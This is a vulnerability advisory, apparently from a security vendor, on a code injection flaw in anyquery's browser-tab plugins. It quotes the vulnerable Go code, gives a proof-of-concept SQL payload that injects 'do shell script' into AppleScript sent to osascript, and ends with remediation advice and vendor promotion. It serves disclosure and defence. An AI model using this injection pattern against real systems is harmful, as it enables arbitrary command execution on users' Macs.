CVE-2026-47252

CVE-2026-47252 is a critical-severity code injection vulnerability in github.com/julien040/anyquery/plugins/chrome (go), affecting versions < 0.0.0-20240826075852-c651df0b8767. It is fixed in 0.0.0-20240826075852-c651df0b8767.

Summary

AppleScript/JXA Code Injection via Unescaped URL in macOS Chrome Plugin

Field Value
Repository julien040/anyquery
Affected version 0.4.4 (commit 0abd460)
Vulnerability CWE-94, Improper Control of Generation of Code
Severity High

The chrome_tabs plugin (and equivalent Brave/Edge/Safari variants) interpolates a SQL-controlled url value directly into an AppleScript template via fmt.Sprintf(newTabScript, url) at plugins/chrome/tabs.go:141 without any escaping, then passes the result to exec.Command("osascript", "-e", ...). An authenticated anyquery user who can issue SQL INSERT INTO chrome_tabs statements, which requires local CLI access, can break out of the {URL:"..."} property record with a newline-containing payload and inject arbitrary AppleScript statements, including do shell script, achieving OS-level command execution on the macOS host. The same pattern applies to the Update path at tabs.go:169 via the JXA setURL.js script.

Affected Code

plugins/chrome/tabs.go:141, SQL-supplied url interpolated unescaped into AppleScript template, then executed via osascript -e

func (t *tabsTable) Insert(rows [][]interface{}) error {
	for _, row := range rows {
		url := "chrome://newtab/"
		if rawURL, ok := row[2].(string); ok {
			url = rawURL
		}

		cmd := exec.Command("osascript", "-e", fmt.Sprintf(newTabScript, url))
		output, err := cmd.CombinedOutput()
		if err != nil {
			return fmt.Errorf("can't run osascript: %W (message: %s)\n Script: %s", err, output, fmt.Sprintf(newTabScript, url))
		}

	}

	return nil
}

plugins/chrome/tabs.go:169, Update path interpolates url into JXA setURL.js template with identical lack of escaping

		if url != "" {
			cmd := exec.Command("osascript", "-l", "JavaScript", "-e", fmt.Sprintf(setURLScript, pk, url))
			output, err := cmd.CombinedOutput()
			if err != nil {
				return fmt.Errorf("can't run osascript: %W (message: %s)\n Script: %s", err, output, fmt.Sprintf(setURLScript, pk, url))
			}
		}

SQL INSERT url column (row[2]) flows through tabsTable.Insertfmt.Sprintf(newTabScript, url)exec.Command("osascript", "-e", <injected script>) at tabs.go:141.

Proof of Concept

Step 1, Insert a newline-bearing URL via SQL: the generated AppleScript closes the {URL:"..."} property record and appends an injected do shell script "id" block, which is passed verbatim to osascript -e.

docker build -f Dockerfile -t anyquery-vuln001 .
docker run --rm anyquery-vuln001 'x"}
end tell
do shell script "id"
tell application "Google Chrome"
        make new tab with properties {URL:"done'
SQL equivalent: INSERT INTO chrome_tabs (url) VALUES ('<INJECT_URL>')
where INJECT_URL =
x"}
end tell
do shell script "id"
tell application "Google Chrome"
	make new tab with properties {URL:"done
[sink:tabs.go:141] Script passed to osascript -e:
tell application "Google Chrome"
        make new tab with properties {URL:"x"}
end tell
do shell script "id"
tell application "Google Chrome"
        make new tab with properties {URL:"done"} at end of tabs of first window
end tell
[mock-osascript] Received script:
tell application "Google Chrome"
        make new tab with properties {URL:"x"}
end tell
do shell script "id"
tell application "Google Chrome"
        make new tab with properties {URL:"done"} at end of tabs of first window
end tell

RESULT: PASS, injection payload reached osascript -e verbatim; "do shell script \"id\"" present in generated script (tabs.go:141)

See attached files: Dockerfile, poc/inject_demo.go, poc/go.mod
vuln-001.zip

Impact

Any local user authenticated to the anyquery CLI who can run SQL against the chrome_tabs virtual table can achieve arbitrary OS command execution on the macOS host with the privileges of the anyquery process. Because anyquery exposes its SQL interface over an HTTP server (accessible to any user who can reach the endpoint), this can be exploited by any client with INSERT or UPDATE access to the browser-tab plugins, without requiring Chrome credentials or macOS admin rights. The injected AppleScript runs under the user's macOS session, giving access to the file system, keychain prompts, and any application scriptable via Apple Events.

Untrusted input is evaluated as executable code within the application's runtime environment. Typical impact: arbitrary code execution within the application's privilege context.

CVE-2026-47252 has a CVSS score of 9.0 (Critical). The vector is network-reachable, low privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.0.0-20240826075852-c651df0b8767); upgrading removes the vulnerable code path.

Affected versions

github.com/julien040/anyquery/plugins/chrome (< 0.0.0-20240826075852-c651df0b8767) github.com/julien040/anyquery/plugins/brave (< 0.0.0-20240826075852-c651df0b8767) github.com/julien040/anyquery/plugins/edge (< 0.0.0-20240826075852-c651df0b8767) github.com/julien040/anyquery/plugins/safari (< 0.0.0-20240826075852-c651df0b8767)

Security releases

github.com/julien040/anyquery/plugins/chrome → 0.0.0-20240826075852-c651df0b8767 (go) github.com/julien040/anyquery/plugins/brave → 0.0.0-20240826075852-c651df0b8767 (go) github.com/julien040/anyquery/plugins/edge → 0.0.0-20240826075852-c651df0b8767 (go) github.com/julien040/anyquery/plugins/safari → 0.0.0-20240826075852-c651df0b8767 (go)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Escape double-quote and newline characters in the url value before interpolation, or avoid string templating entirely. Specifically in plugins/chrome/tabs.go:

// Replace fmt.Sprintf(newTabScript, url) with:
safeURL := strings.ReplaceAll(url, `"`, `\"`)
safeURL = strings.ReplaceAll(safeURL, "\n", "")
safeURL = strings.ReplaceAll(safeURL, "\r", "")
cmd := exec.Command("osascript", "-e", fmt.Sprintf(newTabScript, safeURL))

A more robust fix is to pass the URL as an AppleScript variable declared via a -e prefix argument rather than string-interpolating it into the script body, or to use the osascript argv mechanism so the URL never appears inside the script source. Apply the same fix to fmt.Sprintf(setURLScript, pk, url) at tabs.go:169 for the Update path. Validate that the URL conforms to an allowed scheme (https://, http://, chrome://) before passing it to either handler.

Frequently Asked Questions

  1. What is CVE-2026-47252? CVE-2026-47252 is a critical-severity code injection vulnerability in github.com/julien040/anyquery/plugins/chrome (go), affecting versions < 0.0.0-20240826075852-c651df0b8767. It is fixed in 0.0.0-20240826075852-c651df0b8767. Untrusted input is evaluated as executable code within the application's runtime environment.
  2. How severe is CVE-2026-47252? CVE-2026-47252 has a CVSS score of 9.0 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which packages are affected by CVE-2026-47252?
    • github.com/julien040/anyquery/plugins/chrome (go) (versions < 0.0.0-20240826075852-c651df0b8767)
    • github.com/julien040/anyquery/plugins/brave (go) (versions < 0.0.0-20240826075852-c651df0b8767)
    • github.com/julien040/anyquery/plugins/edge (go) (versions < 0.0.0-20240826075852-c651df0b8767)
    • github.com/julien040/anyquery/plugins/safari (go) (versions < 0.0.0-20240826075852-c651df0b8767)
  4. Is there a fix for CVE-2026-47252? Yes. CVE-2026-47252 is fixed in 0.0.0-20240826075852-c651df0b8767. Upgrade to this version or later.
  5. Is CVE-2026-47252 exploitable, and should I be worried? Whether CVE-2026-47252 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-47252 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-47252?
    • Upgrade github.com/julien040/anyquery/plugins/chrome to 0.0.0-20240826075852-c651df0b8767 or later
    • Upgrade github.com/julien040/anyquery/plugins/brave to 0.0.0-20240826075852-c651df0b8767 or later
    • Upgrade github.com/julien040/anyquery/plugins/edge to 0.0.0-20240826075852-c651df0b8767 or later
    • Upgrade github.com/julien040/anyquery/plugins/safari to 0.0.0-20240826075852-c651df0b8767 or later

Other vulnerabilities in github.com/julien040/anyquery/plugins/chrome

Stop the waste.
Protect your environment with Kodem.